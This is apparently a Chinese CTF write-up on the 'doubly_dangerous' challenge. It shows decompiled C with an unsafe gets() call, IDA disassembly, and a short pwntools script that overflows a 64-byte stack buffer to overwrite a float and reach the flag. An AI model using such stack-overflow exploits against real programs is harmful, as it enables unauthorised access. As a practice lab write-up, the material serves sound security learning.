安全防护机制
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+Ch] [bp-4Ch]@1
float v5; // [sp+4Ch] [bp-Ch]@1
v5 = 0.0;
puts("Give me a string: ");
gets(&s);
if ( 11.28125 == v5 )
{
puts("Success! Here is your flag:");
give_flag();
}
else
{
puts("nope!");
}
return 0;
}
***************************************************************
int v0; // ST1C_4@1
int result; // eax@5
char v2; // [sp+7h] [bp-11h]@4
FILE *stream; // [sp+8h] [bp-10h]@1
v0 = getegid();
setresgid(v0, v0, v0);
stream = fopen("flag.txt", "r");
if ( stream )
{
while ( 1 )
{
v2 = fgetc(stream);
if ( v2 == -1 )
break;
putchar(v2);
}
result = fclose(stream);
}
else
{
result = puts("Failed to open flag file!");
}
return result
思路一:
IDA:我们可以一用填充数据将我们的v5填充成为我们比较的数字,填充地址如下
.text:08048634 call _gets
.text:08048639 add esp, 10h
.text:0804863C fld [ebp+var_C]
.text:0804863F fld ds:flt_804876C //这是存储我们11.28125
.text:08048645 fucomip st, st(1)
我们找到他的具体地址,然后进行payload
图片.png
1.EXP
from pwn import*
p = process('./doubly_dangerous')
#give_flag_addr = 0x804857B
payload = 'A'*64
payload += "\x00\x80\x34\x41"
#payload += p32(give_flag_addr)
print p.recv()
p.sendline(payload)
p.interactive()
思路二
我们知道可以劫持EIP跳转到我们想要的地方去,可是没成功,希望大牛能附上exp
自己思考:
注:可能是get
函数的原因,没有我们可以ret的地方。所以才必须先绕过比较!
网友评论